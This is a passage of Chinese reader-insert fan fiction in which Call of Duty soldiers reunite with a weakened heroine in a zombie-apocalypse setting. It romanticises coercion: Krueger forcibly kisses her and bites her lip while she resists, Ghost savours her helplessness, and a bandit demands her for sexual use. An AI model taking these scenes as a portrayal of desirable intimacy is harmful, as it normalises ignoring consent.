Keegan的身形明显滞了一瞬。他垂下头低笑时,面罩后那双总是岑寂锋利的眼睛里,此刻只盛着Y/N一个人的倒影。
一旁的小女孩看得呆住,她从未见过这个冷血狙击手露出这样近乎虔诚的神情。
“我也想你。”
Keegan的声音很轻,像怕惊碎梦境,拇指摩挲着她的手背,感受着她的存在。所有温柔都嵌进这四个字里。
“啧,wildes Katzchen(小野猫)”Krueger倚在车门上冷哼。
“看来是把我忘干净了?老子可是为了你才跟这群军犬混在一起。”
酸溜溜的语气里带着他特有的血腥气。
Y/N立刻松开Keegan,转身看他。“我没忘,在矿洞救你们的时候,就你给了我一刀。”
Krueger的笑瞬间凝固。他这才想起当初问她伤口的来历时,为什么换来那么大的一个白眼。
这个发现让他突然爆发出一阵狂笑,连带着肩头的弹链都在叮当作响。
但下一秒,Y/N已经一头撞进他怀里。Krueger条件反射地绷紧肌肉。
“以后别伤及无辜。”
Krueger后腰抵着车门,手掌抚上她后颈。这个习惯性拧断别人脖子的动作,此刻却像在触碰易碎的冰雕。
“可以啊,Katzchen(小猫)”他低头嗅着她发间,“都会用伤及无辜这么高级的词了?”
Y/N推开Krueger灵巧的蹦到装甲车前排,唰地拉开Ghost那侧的车门。
月光斜斜照进车厢,男人的轮廓半隐在阴影中。
“你怎么躲着不见我呀?”她歪着头,发丝间还沾着血迹。
Ghost缓缓抬起眼眸,夜视仪早已推到额头上,露出那双极深的眼眸。
目光像锁定目标的狙击镜,寸寸描摹过她的眉梢,眼角,唇畔,仿佛要把这个身影永远烙进视网膜。
他的声音比平时更低哑。
“我不是正在看着你么。”
这句话轻得像消音手枪的闷响,却在密闭车厢里激起震荡。他整个人陷在阴影里,唯有看向Y/N时,才泛起活人应有的温度。
每个人的记忆里都刻着Y/N当初血肉模糊的模样,如今看着她完好无损地站在眼前,喜悦中掺杂着苦涩的自责。
他们这些号称精锐的战士,竟连保护她都做不到。
那些致命的伤痛,她独自承受。那些生死的边缘,她独自跨越。
可偏偏是这个伤痕累累的灵魂,一次次将他们从深渊中拽回,用她残破的羽翼为所有人遮风挡雨。
“你看起来不太想见我。”Y/N的手指戳了戳Ghost的战术背心。
Ghost的喉结滚动了一下,“你想要什么样的欢迎?”
他冷哼一声模仿Konig拥抱时的夸张动作,“像这样?”
Y/N立刻像归巢的雏鸟般扑进他怀里。Ghost整个人瞬间紧绷,常年游走于阴影中的身体,还不习惯这样直白的温暖。
Ghost垂眸看着胸前毛茸茸的脑袋,手指悬在半空,但最终,收拢了手臂,将下巴轻搁在她发顶。
Y/N整张脸都埋进Ghost的心口里,声音闷闷地传来。
“能再见到你真好。”
骷髅面具下的呼吸声明显重了几分,隔着布料传来闷闷的回应。
“我也是。”
这句话立马消散在风里,Y/N只感到他胸腔微微的震颤。这已经是这个男人,能给出的最直白的告白。
33. 自娱自乐[番外]
当Y/N像只撒欢的小狗般在人群中穿梭,连之前只见过一面的Merrick,Logan和Hesh都挨个抱了个遍时。
Ghost抱胸站在一旁,骷髅面具下发出一声冷哼,Keegan的狙击镜片被擦得咯吱作响。
Konig来回扯着自己的粗麻头套,断断续续不知道念叨着什么,Krueger把机木仓弹链拆了又装,金属碰撞声大得吓人。
篝火旁突然蒸腾起一片酸溜溜的雾霭。
Y/N盘腿坐在Price和Soap中间,Nikto守在她身侧,重复着递食物的动作,烤蛇肉,压缩饼干,能量棒。不发一语,只是固执地塞进Y/N手里。
但Nikto察觉到异样。曾经的Y/N像团烈火,锋芒毕露到让人不敢靠近。
而现在,她虽然依旧强大,却会自然接过他递来的食物,允许别人的靠近。
不过Y/N的注意力,已经全被Price和Soap的故事勾走了。她捧着蛇肉忘了吃,漂亮的眼睛在火光下亮得出奇。
当Soap讲到他们被异变体围困在电梯井时,她倒吸口气把整块蛇肉都掉进了火堆。
Price描述Keegan的狙击木仓卡壳瞬间,她直接揪住了Nikto的袖口。
Soap突然压低声音朝Price说,“头儿,你说你要是真有个闺女….”
Price的嘴角翘起愉悦的弧度,眼睛里映着蹦蹦跳跳的火星。“那也准得是个能把安全屋拆了的小疯子。”
Hesh用手肘猛戳Logan肋骨,压低声音道。
“老哥,你看Keegan那眼神,跟瞄准镜似的锁着Y/N,咋不过去啊?”
Logan叼着的草茎上下晃动,从牙缝里挤出嗤笑。
“你懂什么。”他朝Keegan的方向抬了抬下巴,”真正的男人都这德行,宁可把弹匣抠出火星子,也绝不打扰。”
Merrick的死亡凝视突然横插过来,两个活宝顿时像被掐住后颈的狼崽般噤声。
Merrick用指节敲了敲手表,阴影里的Keegan这才惊觉自己已经把备用弹夹的弹簧拆了装,装了拆整整六遍。
Krueger盘腿坐在篝火对面,手中的新木块已经被匕首削得只剩拳头大小。
头套缝隙间露出的眼睛,死死锁定在Y/N身上,以及那个紧贴在她身边的臭虫。
他突然抬脚踹了下Konig的小腿,“你去把她弄过来。”
而此刻Konig正注视着Y/N,沉浸在自己的欣喜中。
“什.…什么?”Konig如梦初醒般抬头,头罩下的声音带着刚回神的茫然,“弄谁.…有异变体袭击?!”
最后半句突然拔高的惊呼,让整个营地瞬间进入战斗状态。
所有人条件反射地跃起,立马形成防御圈将Y/N护在中央。木仓械上膛声此起彼伏,Keegan的狙击镜已经扫过三百六十度扇形区域。
“ScheiBe!”Krueger狠狠将那块木头砸进火堆,火星轰然炸起。
他盯着被众人团团护住的Y/N,突然觉得那块木头像极了自己此刻支离破碎的耐心。
最终,小队决定继续前进。在这危机四伏的废土上,他们不能在任何地方停留太久。
既然找到了Y/N,或许还能在沿途救助更多幸存者。
但临上车时却出现了分歧,Y/N该上哪辆车?她本人倒是毫不在意,甚至表示可以跟着车跑。
最后还是小女孩拽着她的袖口,把她拉上了Keegan那辆装甲车。
Y/N环视一圈,Ghost他们的车里已经挤了六个人,再加上Konig那庞大的身躯,确实没有多余的空间了。
她跟着小女孩,轻快地跳上了后面那辆车。
Ghost对此没有异议,或许对这个男人现在来说,只要确认Y/N还存在,就足够了。
但Soap看了眼他身上散发出来的低气压,撇了撇嘴,真能装。
Konig虽然渴望能像以前那样,把Y/N圈在怀里当人形抱枕,但此刻光是知道她还活着,就足以让这个巨人眼眶发热。
只有Krueger阴恻恻地打量着Nikto和Konig,指间的匕首转了又转,早知道就把这两个碍事的废物扔下去一个,他的小猫就能来陪他了。
小女孩紧挨着Y/N坐下,在背包里摸索了好一会儿,终于掏出一个有些皱巴巴的苹果。
她把果子举到Y/N嘴边,眼睛亮晶晶地等着反应。
Y/N想都没想就咬了一大口,果汁顺着嘴角流下。
“嗯,这次是甜的。”
小女孩抿嘴笑,低头开始认真整理自己的复合弓弦,手指灵活调整着松紧。
Y/N一边啃着苹果,一边望向车窗外。
废弃的车辆在公路上排成长龙,显然是灾难爆发时仓皇逃窜的痕迹。车窗破碎,车门大开,干涸的血迹在车身上泼得浓烈。
没有尸体,只有零星的血手印,拖拽着伸向远方,在诉说那段最后时刻的绝望挣扎。
Y/N的视线突然从窗外血迹转了回来,“你们受伤了吗。”
Keegan看向她,他当然明白Y/N想做什么,她想治愈他们。
“没有,我们都很好。”
她点点头,又咬了口苹果。果肉碎裂的清脆声响中,又再次提问。
“那个吃我的人呢?”
Keegan的脊背绷直,指节在手套里捏得死紧。
“他消失了。”这话从牙缝里挤出来,沉得可怕。
“哦。”Y/N慢条斯理地嚼着果肉,语气平静,像在讨论天气,“如果再见到,我要亲手杀了他。”
她咽下最后一口苹果,指尖轻轻抹过嘴角,“你们要把他留给我。”
Keegan的呼吸凝滞了。他想起那本发黄古籍里的记载,他们整个家族是如何将不生不灭的Y/N一次次撕碎,吞食。
Keegan的喉结滚动了一下。
“你,都记得他们对你做的事吗?”
“哪些事?”
Y/N歪着头,眼里盛满初晨的微光,纯净得像个真正的孩子。
男人深吸一口气。“没什么。”
他生硬地转移话题,“天快亮了,要不要睡会儿?”
Y/N顺着他的视线望向泛白的天际,打了个大大的哈欠。
她在座椅上扭来扭去换了十几个姿势,最后直接纵身从车顶窗窜了出去。
Soap的惊呼从前面那辆车传来,”他们就让我的仙女教母睡车顶?”
几颗脑袋同时探出车窗。只见Y/N大字型躺在装甲车顶上,随着车辆的颠簸微微起伏,睡得正香。
晨风吹起她的衣角,一截白皙的腰身就这么毫无防备地暴露在晨光中。
Price的眉头拧成了死结,转头扫视车内这群男人。
“你们跟她朝夕相处这么久,没告诉她.….”
话说到一半又泄气地摆摆手,“算了,关于女人的事你们知道个屁。”
Ghost罕见地没有反唇相讥,只是默默将头偏向窗外。他想起那日在温泉,Y/N温热的身子近在咫尺。
他得找个机会单独问问她,是否还记得当时做了什么,是否还记得她到底想要什么。
Konig低着头假装整理弹链,头罩下的嘴角却悄悄上扬。
他绝不会告诉任何人,自己早就尝
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过Y/N唇间的滋味。但那是只属于他的秘密,不是用来炫耀的战利品。
Krueger靠在车窗上闭目养神,他睁眼扫过车内另外几个沉默的男人,看来他们这些蠢货确实不懂女人,也没尝过。切,小猫身上哪寸肌肤他没碰过?
“你该庆幸,”他懒洋洋地开口,“她现在至少知道要穿衣服来见我们了。”
Price闻言眉头舒展了些。也是,比起从前那个打着赤身横冲直撞的丫头,现在Y/N确实进步巨大。
Keegan的声音从无线电中传来,带着些许电流杂音
“Lt,建议找辆房车。白天能让Y/N好好休息,另外,那小姑娘也有个方便的地方,我们偶尔轮流补个觉。”
Price没有任何犹豫就同意了。
“批准。正好夜间警戒可以交给Y/N,她一个人的战斗力抵得上我们整支小队。“
没人觉得这提议矫情。毕竟Y/N救过的命摞起来比装甲车还高,从毒气到枪林弹雨,还有那些身上痊愈的伤口。
甚至Soap那次起死回生。虽然Ghost至今对复活细节闭口不谈,但古籍里那些血淋淋的记载,足够让所有人猜到些什么。
一个破铁皮房车算什么。
午后烈日当空时,他们终于在公路尽头发现了一辆废弃房车。Keegan小心翼翼抚平Y/N被风吹乱的衣角,将她从装甲车顶抱下,安置在房车的床铺上。
刚接触到柔软的被褥,Y/N就像只找到窝的猫儿,自动蜷缩起来,无意识地在枕头上蹭了蹭。
Keegan忽然理解了Krueger为什么总叫她小猫,这样的她,确实像极了猫咪。
几个男人围在房车旁商量轮班安排。
“我.…我先来!”Konig急不可耐地举手,粗麻布下的声音因为激动而发颤,“我盯梢!”
Price了然地拍拍Ghost的肩膀。“那你开车。”老队长意味深长地补充道,“你镇得住这小子。”
两辆装甲车保持着护卫队形,一前一后将房车护在中间。小女孩也钻进了房车,正坐在小桌前翻看车里遗留的旧书。
突然,Y/N发出了一声几不可闻的呜咽,像是受伤小兽的呻吟。起初太过微弱,没人察觉。
直到小女孩猛地抬头,发现Y/N整个人都蜷缩成团,在床铺上痛苦地扭动。
她立刻冲向驾驶位,小手拼命拽着Ghost和Konig的作战服。她恨自己说不出话,只能用力指向房车后方,小脸上写满惊恐。
Ghost立刻会意,猛踩刹车将车停在路边。当他冲进里屋时,只见Konig跪在床边手足无措,巨大的身躯僵硬得像块石头。
小女孩趴在床上,小手不断轻抚Y/N滚烫的额头,后者正蜷着身子,断断续续的呜咽声中,皮肤下隐隐泛着蓝光。
小女孩一把抓住Ghost的手腕,强行将他的手掌按在Y/N身上。触感烫得惊人。
Ghost迅速扯下车里布巾浸湿,对着无线电低吼。“带止痛剂。镇静剂和水过来,立刻!Y/N情况不对。”
Krueger像头豺狼冲进房车,手里攥着针剂直奔卧室。
Keegan紧随其后,声音罕见地变调。
“她怎么了?出什么事了?”
Nikto默不作声提着一大桶饮用水跟上来,水桶在他手里轻得像塑料玩具。
狭窄的卧室,被这群高大的男人挤得水泄不通。Ghost看着Y/N愈发急促的呼吸,立即下令。
“Krueger,给她注射镇定剂。小孩,你负责物理降温。”
他锐利的目光扫过众人,“其他人全部出去,你们在这,她连气都喘不上来。”
34. 自娱自乐[番外]
Y/N只觉得全身仿佛被无形的火焰灼烧,某种重要的东西正从体内流失。
是血液?还是别的什么?这种熟悉的感受让她想起上次从树洞苏醒时,似乎也发生过。
但当时究竟发生了什么?记忆像被撕碎的书页,怎么也拼凑不完整。
当她再次睁开眼,夕阳的余晖刚刚褪去。小女孩也因过度紧张和持续的照料,此刻正蜷缩在她身边沉沉入睡。
Y/N轻手轻脚起身,拖着沉重的身子走出卧室。
Ghost几乎是瞬间就从座位上弹了起来,但在低矮的车厢里,这个高大的男人不得不弓着背,目光紧锁在她身上。
“怎么了?”
Ghost的身躯将她完全罩在阴影里。
Y/N困惑地摇头,“我不知道,我好像.…”
“好像什么?”
Ghost立刻追问,声音里的急切连他自己都没察觉。
突然,Y/N给了他一拳,又抬脚踢他小腿。Ghost完全懵了,一把扣住她的手腕。
“你发什么疯?”
“啊!”Y/N痛呼出声。
他这才发现,自己甚至没用力,她白皙的手腕上却浮现出刺目的红痕。
刹那间Ghost明白了,她体内的异变能力消失了。
男人猛地逼近,双手掐住她的腰将人提到小桌上。他双臂撑在Y/N两侧,呼吸喷在她耳畔。
“现在。”低哑的嗓音裹挟着危险的愉悦,“你最好学会听话。”
指腹摩挲着那道红痕,Ghost的喉结滚动。
“毕竟现在,你可是需要被重点保护了。”
Y/N完全没注意到Ghost眼中翻涌的暗色,那是一种终于能将猎物牢牢桎梏的,近乎偏执的占有欲。
她突然伸手去抽他腰间的匕首,却被他瞬间反扣住手腕。
她发现自己竟然完全挣不开这力道。Ghost的手纹丝不动,掌心传来的温度烫得惊人。
男人眼底闪过一丝欣愉的暗芒,显然很满意她现在这副模样。
“想干什么?”他嗓音低哑,带着危险的颗粒感。
“你给我一刀呢,试试睡醒能不能恢复。”
Ghost冷哼一声,匕首在他指间转出冷光,利落插回刀鞘。
“别做梦了,现在开始,你就当个听话的Princessy(小公主)”
“正好,我还有事要问你。”
Ghost的身子又往前压了几分,Y/N能清晰看见骷髅面罩下那双深色眼瞳的纹路。
“当时在矿洞外的温泉,你想对我做什么?”
“那时我饿了。”
Ghost 眼神暗了下来,像在打量猎物,“哪种饿。”
“要么吃了你,要么吃掉你的欲望。”Y/N诚实地回答,“但我不想吃你,那样你会死。”
“那为什么没吃干净?”
Y/N歪着头,露出困惑的表情,“我吃干净了啊。当你的欲望出现时,就已经被我吃掉了。”
Ghost笑了,嗓音又低又哑,“或许你可以试试别的吃法。”
他靠近,却在几乎贴上她的那一刻停住,“而不是只进行到一半就停下。”
Y/N认真思考了片刻,直视着他的眼睛,“好,等我恢复能力后,我们可以试试。”
Ghost在她耳边轻笑,终于从女人身前退开。
“Very well。”
说完便转身下车,去向其他人说明Y/N的情况。
Konig像一头困兽般蜷身挤进车厢,高大的身形被铁皮包裹,连呼吸都显得笨拙。
他手足无措地站在Y/N面前,断断续续开口,“Y/N….以后我.….我会特别特别轻...要是弄疼你了….一定要告诉我...我害怕.…”
Y/N牵起他颤抖的大手,引着他坐进副驾驶位。即便坐着,Konig的视线仍几乎与她齐平。
她捧住他的脑袋轻声道,“没事小熊,我知道你会保护好我的。”
Konig战战兢兢环住她的腰,像对待易碎的玻璃工艺品般将她放在自己腿上。
他把粗粒的麻布脑袋埋进她颈窝,闷声请求,“我想要….想要你的呼吸...已经好久….好久没有了...”
抬起湿漉漉的蓝眼睛时,连最后两个字都带着小心翼翼的颤音,“....好吗?”
Y/N心尖一软。她怎么会拒绝小熊呢?更何况她还记得,在那个矿洞里,小熊还冒着危险,执意冲进来陪她一起看了不少书。
Y/N顺从地闭上眼睛,Konig的眼睛瞬间亮起来。
他一把将她裹进粗布头套里,大掌牢牢覆在她腰间,另一只手却不受控地在她脊背上下游移。
可现在的Y/N已不同往日。她会疲惫,会喘息,会缺氧。
当她的呼吸开始急促时,Konig却像得到某种信号般更加贴紧,唇舌急切地探入口中,仿佛在搜寻什么失物。
整个拥抱越来越像是生吞活剥,腰间的手劲也愈发失控。
“呜...!”Y/N拍打他胸膛的动静终于让Konig惊醒般松手。
恰在此时,Keegan踏上车厢,正撞见Y/N满脸通红,软在Konig怀里急喘的模样。
Keegan眉头瞬间绞紧,猛地向上一拖将人从Konig膝上捞起。
“Konig,你对她做了什么?”
Keegan的声线优雅依旧,却渗着冷意。Konig这才注意到Y/N潮红的脸颊和凌乱的呼吸,顿时自己也烧了起来。
小腹窜起一团火,烫得他手忙脚乱跳下车,像只被猎人威胁而受惊的棕熊。
Keegan砰地甩上车门,把Y/N安顿在沙发里。手套擦过她发烫的耳垂,“还好吗?怎么回事?”
Y/N平复着呼吸。
“没事….只是现在...”
她低头看着自己起伏的胸口,“这具身体变脆弱了。”
Keegan单膝跪蹲在她面前,手掌将她微凉的指尖整个包裹住。
“别担心,有我们在。你确实该好好休息了。”他的声音带着令人安心的韵律。
Y/N不自觉放松下来,她喜欢Keegan。
他从不向她索求什么。就像一片寂静的海域,能包容她所有的风暴。
可当男人抬手抚上她发烫的脸颊时,眸色突然暗沉如夜。
“能告诉我….”
他的拇指停在她唇角,指腹轻轻蹭过,像在确认什么,“刚才你和Konig在做什么?”
“我在给他呼吸。”
Keegan的手顿住,他清楚这意味着什么,就像当年在漆黑的海底,Y/N也是这样将唇贴上来,给他呼吸,帮他带走所有绝望。
“你知道这代表什么吗?”他的嗓音沉得像深渊里的回响。
Y/N困惑地眨眨眼,“代表我能帮你们活下去?”
Keegan突然收紧了手指,却又在弄疼她前松了力道。
他闭了闭眼,再开口时已经恢复成那个冷静的自己,“下次,至少选个不会让你缺氧的方式。”
两人就这样对视着,良久,被粗暴的砸门声扯回思绪。他起身时战术腰带擦过她膝盖,留下一道转瞬即逝的温度。
车窗外,Konig正把发烫的脸抵在房车后放的铁皮上,而Ghost靠在装甲车边,骷髅下的目光盯着后面那辆房车。
Krueger瞥了眼擦肩而过走出房车的Keegan,那只军犬的正沉着脸。
Krueger无所谓地耸了耸肩,大步跨进车厢,将门锁上。他懒洋洋地倚在Y/N身前的储物柜上,匕首在指间把玩。
“这么说。”刀刃轻轻拍打她的脸颊,“小猫,现在给你一刀,你也恢复不了了?”
这正是Y/N想验证的。她突然朝刀刃凑去,但Krueger的反应速度远超现在的她。
匕首瞬间撤回,却还是在她脸颊留下一道细痕,血珠缓缓渗出。
Krueger眼神骤冷,一把将她捞起按在柜门上。持刀的手撑在Y/N头顶,他俯身逼近,呼吸喷在她带血的伤口上。
声音里混着危险的嘶声,“找死吗,Mieze(小猫)想让我亲手送你上路?”
“我只是想看看会不会恢复。”她刚想抬手触碰伤口,就被Krueger扣住手腕。
“别动。”他粗鲁的扯住自己头套边角,却小心地按在她伤口上,
“你现在弱得跟只没断奶的猫崽似的。”指腹抹去那滴血珠时,力道极轻。
“再乱来,我就把你锁进武器箱。”
“那你还拿刀贴着我?”Y/N没好气地翻了个白眼,血迹在她现在苍白的脸上显得刺目。
Krueger低笑一声,突然逼近,岔开腿将她整个人卡在自己与柜子之间,匕首利落归鞘。
手指捏住她的下巴,力道大得让她微微皱眉。
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“看来现在你可没本事反抗我了,小猫。”男人的嗓音沙哑,带着恶劣的愉悦。
他俯身,距离近到能数清她的睫毛,“猜猜我想做什么?”
下一秒,Krueger的手掌猛地覆上她的眼睛,Y/N眼前一黑,只听见布料摩擦的动静。
唇齿相触的瞬间,她死死咬紧牙关,绝不让自己再像刚才那样窒息。
Krueger果然退开,可还没等她喘口气,他忽然扣住她的下颌,拇指强硬地撬开她的齿关。
“唔!”
指节卡在她唇间,他再次狠狠吻上来,指头恶劣地碾过她的舌尖,仿佛在惩罚她的不配合。
Y/N能感觉到他喉间的滚动,像在吞咽什么不可见的东西,而那只手始终钳制着她的下颌,不让有半点退缩余地。
Y/N的指甲深深掐进Krueger的手臂,却连道白痕都留不下。
男人喉咙里滚出低笑,犬齿在她下唇重重一咬,血腥味瞬间在两人齿间漫开。
“这才对。”他松开钳制时,银丝混着血丝挂在Y/N唇边,
“你越挣扎。”指尖抹过她破皮的唇瓣,“我越确定你现在弱得不行。”
车外突然传来金属碰撞声。Konig正把空水桶捏得变形,蓝眼睛死死盯着车窗里的剪影。
Ghost不知何时已经站在房车台阶上,骷髅脸像个鬼似的几乎贴在玻璃上。
Krueger却变本加厉地舔掉她唇上的血珠,转头对窗外竖起中指。
他贴着Y/N的耳骨呢喃,“猜猜那群废物能忍到几时?”
手掌按在她心口,“你心跳似乎也变得像人类一样了。”
砰——!
一声巨响,房车的门框被暴力撕裂,金属铰链在Ghost的蛮力下扭曲崩断。
他像头被激怒的野兽,骷髅面罩下的双眼暗得骇人,周身气压低得几乎凝成实质。
Krueger慢条斯理地松开Y/N,甚至恶劣地在她唇角又舔了一下,才拉下面罩转身朝向Ghost,眼里挂着挑衅的意味。
“怎么?排队啊?”
Ghost没说话,直接伸手攥住Krueger的领子,霍地将他从Y/N身前扯开,力道大得几乎把他整个人掼到车厢另一侧。
柜体“哐当”一声凹陷,Krueger却笑得更放肆了,甚至舔了舔自己沾血的虎牙。
“You’re fucking dead(你他妈找死)”Ghost的声音从喉咙里一字一句砸出来,指节捏得咯咯作响。
Y/N还靠在原地,唇瓣红肿,血丝未干,胸口剧烈起伏着。
她看着Ghost,突然开口,“有水吗,渴死我了。”
整个车厢瞬间死寂。
Krueger的笑声在喉咙里炸开,Ghost的拳头已经撕裂空气,狠狠砸了下去。
拳头砸下的瞬间,Konig庞大的身躯从车外撞了进来。
他像头失控的北极熊,嘶吼着将Krueger扑倒,整节车厢的螺栓都在尖叫。
“不许——碰她——!”Konig的声音罕见地暴怒,头罩下的蓝眼睛烧得骇人。
他掐着Krueger的脖子,指节绷得发白,却在对上Y/N的目光时突然泄了力,她正摸着破皮的嘴唇,眼神困惑。
Keegan迅速出现在Y/N身前,用后背替她挡住飞溅的渣屑。
他什么也没说,只是反手将匕首插进桌面,刀柄正好隔开Ghost和扭打中的两人。
“都他妈冷静点。”
Price的怒吼从车外炸开,老队长一脚踹在变形的车门框上。
“Y/N现在经不起你们这群疯子的折腾!”
他雪茄的烟灰截截落在地上,“要打滚远点打,别伤着她。”
Y/N探出头,跟着Price连连点头,像只学舌的鹦鹉般附和。
“就是就是!”她还特意往Keegan身后缩了缩,只露出半张脸,“别打着我了!我现在脆的很!”
车厢再次死寂。
Krueger突然闷笑起来,Ghost的拳头悬在半空,Konig的面罩被扯歪了一半。
三个男人像被按了暂停键,所有暴戾都在她这句孩子气的警告里土崩瓦解。
没人看见面罩下Keegan疯狂上扬的嘴角。
Price的雪茄差点掉在地上,老队长突然觉得,自己刚才的怒吼简直多余。
35. 自娱自乐[番外]
车队再次启程时,月亮已经爬上夜空,Y/N看了眼依旧睡得很沉的小女孩,心里暖呼呼的。
Y/N心想,现在的自己恐怕连她都不如呢。
她轻手轻脚地合上卧室门,走向驾驶室。Konig粗麻面罩下的视线始终黏在Y/N身上,此刻在他眼中,Y/N比战壕里那只瘸腿的流浪狗都还要脆弱。
“你什么时候教我?”她挤到两人中间,直勾勾盯着Ghost。
Ghost斜睨她一眼,“就你现在这体力?先每天原地跑五千步,再做一百个仰卧起坐再说。”
话音刚落,Y/N已经像只发条兔子似的开始原地蹦哒。Konig在旁边手忙脚乱地帮她计数。
过了一会儿,“1002,1003,Y/N….你要不….不要歇歇?你好像..喘不过气了….别跑了….”
Konig看着Y/N气喘吁吁的样子实在心疼,突然提高嗓门。“5000!到了!”
Ghost听到Konig直接喊出5000时差点气笑,他默数着呢,这明明才刚到一千。
他侧目看向Y/N,才发现那丫头还在机械地抬着腿,汗水浸透了衣领,眼神都开始发直。
男人单手控着方向盘,另一把拽住她胳膊,“停下!你这副样子自己感觉不到吗?”
见她还晕乎乎地想继续,Ghost咬着后槽牙改口。
“改成每天一千步,循序渐进。现在,站直,闭嘴,深呼吸。”
Konig将摇摇欲坠的Y/N揽进怀里,手忙脚乱地替她擦着额头的汗珠。
“Y/N你.…你简直太厉害了!居然真的跑了5000步!我.….我最多只能跑500步…..”
他的声音越说越小,像只垂着耳朵的大狗。
Ghost从鼻子里发出一声冷哼,这蠢狗为了哄人什么鬼话都说得出口,就他那体能,跑500圈都面不改色。
前方装甲车内,Krueger的目光如钩子般死死钉在后方房车的窗户上。
Price斜睨了他一眼,“眼珠子都要瞪出来了。明天让你过去当司机,前提是,”
他吐出一口烟圈,“别再干那些欠收拾的事。”
Krueger从喉咙里挤出一声冷笑:“亲爱的长官,您养的军犬里,怕是有人会比我更欠揍吧?”
Price没搭腔,一张阴森森的骷髅脸,一个傻里傻气的抹布脑袋。就这俩货?
Price眯起眼,刚好透过后视镜看着Y/N那细胳膊细腿在两人之间卖力跑步的模样,小脸涨得通红,准是Ghost又在操练新兵那套。
他对着Krueger嗤笑一声,那俩木头疙瘩,只会喊再跑五公里的冷血动物,还有个连话都说不利索的傻蛋。
能对Y/N做什么?怕是连小姑娘的手都不敢牵。
Nikto也盯着后视镜里的人影,只不过他根本看不见另外两人。
“找个加油站停一停,该加油了。”Price拿起对讲机说道。
“收到。”
“收到。”
当月亮悬至天穹正中时,他们在公路旁发现了一座加油站。这地方足够偏僻,远处是几近废弃的村落,四下寂静,既无车辆也无血迹。
仿佛灾难降临的那一刻,连逃命的车都没能驶到这里。
加油站的便利店看起来完好无损,玻璃未碎,地面干净。
众人纷纷下车活动筋骨。
Y/N刚踏下车,Krueger就贴了上来。他盯着她脸上的划痕看了会儿,揽过她的肩膀就往便利店走,全然不顾身后几道刀子般的视线,甚至故意挑衅地回瞥了一眼。
“走,小猫。给你找点好吃的。”
突然,超市门口人影晃动,几个女人和年轻男人畏畏缩缩地推开门,挤作一团。
“你们.….要拿吃的吗?我们,我们可以给你...请不要伤害我们.…..”
她们浑身发抖,眼中满是恐惧,仿佛眼前这群全副武装的人是洪水猛兽。
Krueger瞬间绷紧神经。
这种主动开门欢迎的行为太反常了。正常人怕成这样,怎么可能敞开大门?更何况他们刚到的时候,这里明明死一般寂静。
Y/N站在Krueger身旁纹丝不动。她看着这几个战战兢兢的人,似乎确实是不该再进去吓着他们。
“那我们不进去了,你们随便拿点吃的出来?”
“啊?没,没事的...你们可以进来...只要别拿太多.…”
“里面太黑,我不想进。”
“我,我们可以开灯.…”
Y/N不说话了,歪了歪脑袋看向对方,“你们很奇怪。”
话音刚落下,突然从建筑后方冲出几个持枪人影:“别动!”
紧接着,更多人涌了出来,将加油站团团围住。一个看似头目的男人从后方踱步而出。
“哟,军队的?怎么,要来抢我们普通人的活命物资?”
除了Krueger和Nikto,其余人都皱起眉。
他们不愿对平民动武,加之此前确实没发现任何伪装藏匿的痕迹。
或许也正因对方是平民,反而毫无技术破绽而言,才让他们放松了警惕。
当那男人的目光扫到Y/N时明显亮了起来。
在他眼里,这个没穿作战服的姑娘混在一群男人们中间,八成就是个手无寸铁的弱女子。
要是Y/N能听见他的心声,估计也只会生闷气,然后当场开始做她的五千步原地跑。
“军队的再横也不能对平民动手吧?就算你们敢,我们人也比你们多十倍!”
那男人扯着嗓子喊道,语气里浸满了末日滋生的狂妄。
Price咬着雪茄低笑一声:“小子,特殊时期,我建议你收着点。”
男人发现这群人压根没把他放在眼里。尤其那几个蒙面的高大身影,看他的眼神就像在看脚底的渣滓。
他心底猛然窜起一股恶意,正是这种末日里仗着丁点权力就膨胀的,最肮脏的恶念。
他突然挤出一脸假笑:“大家都不容易,不如各退一步?我们给你们食物,你们留点武器给我们平民防身?”
“Huh?就你们手上这些破烂,都是这么坑蒙拐骗来的吧。”
Krueger搭着Y/N的肩膀,朝身后那群他眼里的“人民军犬”投去讥讽的目光。
“看吧,我就说,这世界啊,烂人果然比死人多。”
对方的脸色瞬间阴沉下来,看来是破防了,他猛地抬手一挥,“都给老子把枪举起来!”
“Motherfucker!!”他朝地上啐了一口,眼中扭曲着欲望,“给脸不要脸是吧?行,最后给你们一次机会。”
“武器我们可以不要,但那个女人.….”
他舔了舔干裂的嘴唇,指向Y/N,“反正你们带着也是累赘,不如留给我们快活快活。”
空气瞬间凝固。
那几个原本伫立不动的“怪物”突然暴起,周身戾气如同实质般炸开。
Konig的粗麻布剧烈起伏,那双总是躲闪的蓝眼睛此刻如暴风雪中的狼瞳。
他庞大的身躯前倾,死死钉在那个不知死活的男人身上。
“Bloody fucking rat.…”骷髅面罩下传来下颌关节错动的咔咔声。
他缓缓抬起手,战术手套在握紧枪柄时发出摩擦声。
Keegan的手覆在腰间木仓柄上。这个向来最冷静的男人,此刻连后颈的肌肉都绷出了狰狞线条。
Krueger突然像是控制不住般的笑起来,他松开Y/N,慢条斯理活动着指关节,每一声都是为那个男人敲响的丧钟。
而永远保持沉默的Nikto,呼吸频率切换到了猎杀节奏,面甲下用母语低声咕哝着,“сукаблядь,Ты мeртв, ублюдок!”
眼神像是在看一具具已经开始腐烂的尸体。
他们从未想过,居然会有蝼蚁,敢用这种最低贱的方式侮辱Y/N,就像把最纯净的月光扔进粪坑里践踏。
他们太清楚这世界某些渣滓对待女人的嘴脸。而像他们这样日日与死亡擦肩的人,最憎恶的就是这种恶臭,卑劣,下作的蛆虫。
可偏偏,这种肮脏的东西,竟想把爪子伸向Y/N。
Soap听到这话时,眼中的怒火都快烧出来,但他们从不会主动伤害平民,即便面对的是这种渣滓。
“Final warning, you gutter rats! Drop your weapons now, or we will engage!”
(警告你们,水沟的蛆虫们!立刻放下武器,否则我们将开火!)
Price眯起眼睛,刺向那个男人,声音充满压迫感。
“记住,平民一旦持武器,即视为直接参与敌对行动,不再受任何法律保护。”
他缓缓吐出一口雪茄烟,冷笑一声,“更何况,现在这世道,法律早就见鬼去了。所以,尽管开枪试试。看看你们这群废物,能伤到我们中的哪一个?”
Krueger将Y/N箍进怀里,背心的织带硌得她生疼。他低头磨蹭她的耳廓。
“Umklammer mich, Katzchen”(抱紧我,小猫)
“你现在这身细皮嫩肉.…”他的拇指按在她后颈的脊椎凹陷处。
“要是挨颗子弹,可不会像以前那样愈合了。”
Y/N的眼睛瞬间瞪大,是啊!现在的疼痛会是真实的,永久的,不会只在睡前!
下一秒,她的手指就死死攥住了Krueger的挂带。
